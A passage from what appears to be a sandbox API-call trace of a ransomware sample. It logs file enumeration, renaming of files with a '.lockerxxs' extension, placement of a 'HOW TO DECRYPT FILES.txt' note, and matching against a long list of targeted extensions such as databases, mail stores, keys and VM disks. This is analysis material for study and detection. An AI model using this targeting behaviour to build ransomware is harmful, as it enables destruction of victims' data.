dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.120] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xe, lpOverlapped=0x0) returned 1 [0088.120] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.120] CloseHandle (hObject=0x98) returned 1 [0088.121] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.lockerxxs")) returned 1 [0088.125] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dc5d150, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x43000340, dwReserved1=0x4e00c4, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 1 [0088.125] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.125] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Templates.LNK") returned -1 [0088.125] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Templates.LNK") returned -1 [0088.125] lstrcmpiA (lpString1="", lpString2="Templates.LNK") returned -1 [0088.125] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="index.dat" [0088.125] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" [0088.125] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\") returned="" [0088.125] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt" [0088.125] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\how to decrypt files.txt")) returned 0x2020 [0088.125] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\", lpString2="Templates.LNK" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK" [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.ems") returned 0 [0088.126] lstrlenA (lpString="*.ems") returned 5 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.db") returned 0 [0088.126] lstrlenA (lpString="*.db") returned 4 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.dbf") returned 0 [0088.126] lstrlenA (lpString="*.dbf") returned 5 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.myox") returned 0 [0088.126] lstrlenA (lpString="*.myox") returned 6 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.myo") returned 0 [0088.126] lstrlenA (lpString="*.myo") returned 5 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qbw") returned 0 [0088.126] lstrlenA (lpString="*.qbw") returned 5 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qbb") returned 0 [0088.126] lstrlenA (lpString="*.qbb") returned 5 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qbm") returned 0 [0088.126] lstrlenA (lpString="*.qbm") returned 5 [0088.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qbo") returned 0 [0088.127] lstrlenA (lpString="*.qbo") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qbx") returned 0 [0088.127] lstrlenA (lpString="*.qbx") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qba") returned 0 [0088.127] lstrlenA (lpString="*.qba") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qby") returned 0 [0088.127] lstrlenA (lpString="*.qby") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qbj") returned 0 [0088.127] lstrlenA (lpString="*.qbj") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.ofx") returned 0 [0088.127] lstrlenA (lpString="*.ofx") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.qif") returned 0 [0088.127] lstrlenA (lpString="*.qif") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mye") returned 0 [0088.127] lstrlenA (lpString="*.mye") returned 5 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mbox") returned 0 [0088.127] lstrlenA (lpString="*.mbox") returned 6 [0088.127] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.eml") returned 0 [0088.128] lstrlenA (lpString="*.eml") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.pst") returned 0 [0088.128] lstrlenA (lpString="*.pst") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.ost") returned 0 [0088.128] lstrlenA (lpString="*.ost") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.idx") returned 0 [0088.128] lstrlenA (lpString="*.idx") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.dbx") returned 0 [0088.128] lstrlenA (lpString="*.dbx") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.sql") returned 0 [0088.128] lstrlenA (lpString="*.sql") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mdb") returned 0 [0088.128] lstrlenA (lpString="*.mdb") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.fdb") returned 0 [0088.128] lstrlenA (lpString="*.fdb") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.wab") returned 0 [0088.128] lstrlenA (lpString="*.wab") returned 5 [0088.128] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.dat") returned 0 [0088.129] lstrlenA (lpString="*.dat") returned 5 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.txt") returned 0 [0088.129] lstrlenA (lpString="*.txt") returned 5 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.jpeg") returned 0 [0088.129] lstrlenA (lpString="*.jpeg") returned 6 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.jpg") returned 0 [0088.129] lstrlenA (lpString="*.jpg") returned 5 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.png") returned 0 [0088.129] lstrlenA (lpString="*.png") returned 5 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.php") returned 0 [0088.129] lstrlenA (lpString="*.php") returned 5 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.cs") returned 0 [0088.129] lstrlenA (lpString="*.cs") returned 4 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.cpp") returned 0 [0088.129] lstrlenA (lpString="*.cpp") returned 5 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.rar") returned 0 [0088.129] lstrlenA (lpString="*.rar") returned 5 [0088.129] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.zip") returned 0 [0088.129] lstrlenA (lpString="*.zip") returned 5 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.html") returned 0 [0088.130] lstrlenA (lpString="*.html") returned 6 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.htm") returned 0 [0088.130] lstrlenA (lpString="*.htm") returned 5 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.xlsx") returned 0 [0088.130] lstrlenA (lpString="*.xlsx") returned 6 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.xls") returned 0 [0088.130] lstrlenA (lpString="*.xls") returned 5 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mp4") returned 0 [0088.130] lstrlenA (lpString="*.mp4") returned 5 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.ppt") returned 0 [0088.130] lstrlenA (lpString="*.ppt") returned 5 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.pptx") returned 0 [0088.130] lstrlenA (lpString="*.pptx") returned 6 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.doc") returned 0 [0088.130] lstrlenA (lpString="*.doc") returned 5 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.dot") returned 0 [0088.130] lstrlenA (lpString="*.dot") returned 5 [0088.130] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.docx") returned 0 [0088.131] lstrlenA (lpString="*.docx") returned 6 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.7z") returned 0 [0088.131] lstrlenA (lpString="*.7z") returned 4 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.tar") returned 0 [0088.131] lstrlenA (lpString="*.tar") returned 5 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.bz2") returned 0 [0088.131] lstrlenA (lpString="*.bz2") returned 5 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.gz") returned 0 [0088.131] lstrlenA (lpString="*.gz") returned 4 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mkv") returned 0 [0088.131] lstrlenA (lpString="*.mkv") returned 5 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.eml") returned 0 [0088.131] lstrlenA (lpString="*.eml") returned 5 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.msg") returned 0 [0088.131] lstrlenA (lpString="*.msg") returned 5 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.edb") returned 0 [0088.131] lstrlenA (lpString="*.edb") returned 5 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.accdb") returned 0 [0088.131] lstrlenA (lpString="*.accdb") returned 7 [0088.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.odb") returned 0 [0088.132] lstrlenA (lpString="*.odb") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.java") returned 0 [0088.132] lstrlenA (lpString="*.java") returned 6 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.asm") returned 0 [0088.132] lstrlenA (lpString="*.asm") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.pfx") returned 0 [0088.132] lstrlenA (lpString="*.pfx") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.pem") returned 0 [0088.132] lstrlenA (lpString="*.pem") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.p12") returned 0 [0088.132] lstrlenA (lpString="*.p12") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.gpg") returned 0 [0088.132] lstrlenA (lpString="*.gpg") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.vsd") returned 0 [0088.132] lstrlenA (lpString="*.vsd") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.odg") returned 0 [0088.132] lstrlenA (lpString="*.odg") returned 5 [0088.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.raw") returned 0 [0088.132] lstrlenA (lpString="*.raw") returned 5 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.nef") returned 0 [0088.133] lstrlenA (lpString="*.nef") returned 5 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.svg") returned 0 [0088.133] lstrlenA (lpString="*.svg") returned 5 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.psd") returned 0 [0088.133] lstrlenA (lpString="*.psd") returned 5 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.vmx") returned 0 [0088.133] lstrlenA (lpString="*.vmx") returned 5 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.vmdk") returned 0 [0088.133] lstrlenA (lpString="*.vmdk") returned 6 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.vdi") returned 0 [0088.133] lstrlenA (lpString="*.vdi") returned 5 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.lay6") returned 0 [0088.133] lstrlenA (lpString="*.lay6") returned 6 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mpeg") returned 0 [0088.133] lstrlenA (lpString="*.mpeg") returned 6 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.djvu") returned 0 [0088.133] lstrlenA (lpString="*.djvu") returned 6 [0088.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.tiff") returned 0 [0088.133] lstrlenA (lpString="*.tiff") returned 6 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.backup") returned 0 [0088.134] lstrlenA (lpString="*.backup") returned 8 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.pdf") returned 0 [0088.134] lstrlenA (lpString="*.pdf") returned 5 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.cert") returned 0 [0088.134] lstrlenA (lpString="*.cert") returned 6 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.docm") returned 0 [0088.134] lstrlenA (lpString="*.docm") returned 6 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.xlsm") returned 0 [0088.134] lstrlenA (lpString="*.xlsm") returned 6 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.dwg") returned 0 [0088.134] lstrlenA (lpString="*.dwg") returned 5 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.nd") returned 0 [0088.134] lstrlenA (lpString="*.nd") returned 4 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.tlg") returned 0 [0088.134] lstrlenA (lpString="*.tlg") returned 5 [0088.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.lgb") returned 0 [0088.134] lstrlenA (lpString="*.lgb") returned 5 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mov") returned 0 [0088.135] lstrlenA (lpString="*.mov") returned 5 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.xdw") returned 0 [0088.135] lstrlenA (lpString="*.xdw") returned 5 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.ods") returned 0 [0088.135] lstrlenA (lpString="*.ods") returned 5 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.wav") returned 0 [0088.135] lstrlenA (lpString="*.wav") returned 5 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.mp3") returned 0 [0088.135] lstrlenA (lpString="*.mp3") returned 5 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.aiff") returned 0 [0088.135] lstrlenA (lpString="*.aiff") returned 6 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.flac") returned 0 [0088.135] lstrlenA (lpString="*.flac") returned 6 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.m4a") returned 0 [0088.135] lstrlenA (lpString="*.m4a") returned 5 [0088.135] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Templates.LNK", pszSpec="*.csv") returned 0 [0088.135] lstrlenA (lpString="*.csv") returned 5 [0088.135] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5dc5d150, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x5dc5d150, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5dc5d150, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x43000340, dwReserved1=0x4e00c4, cFileName="Templates.LNK", cAlternateFileName="TEMPLA~1.LNK")) returned 0 [0088.136] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0088.136] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5dae0390, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x90b3d80, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x90b3d80, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 0 [0088.136] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.136] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, 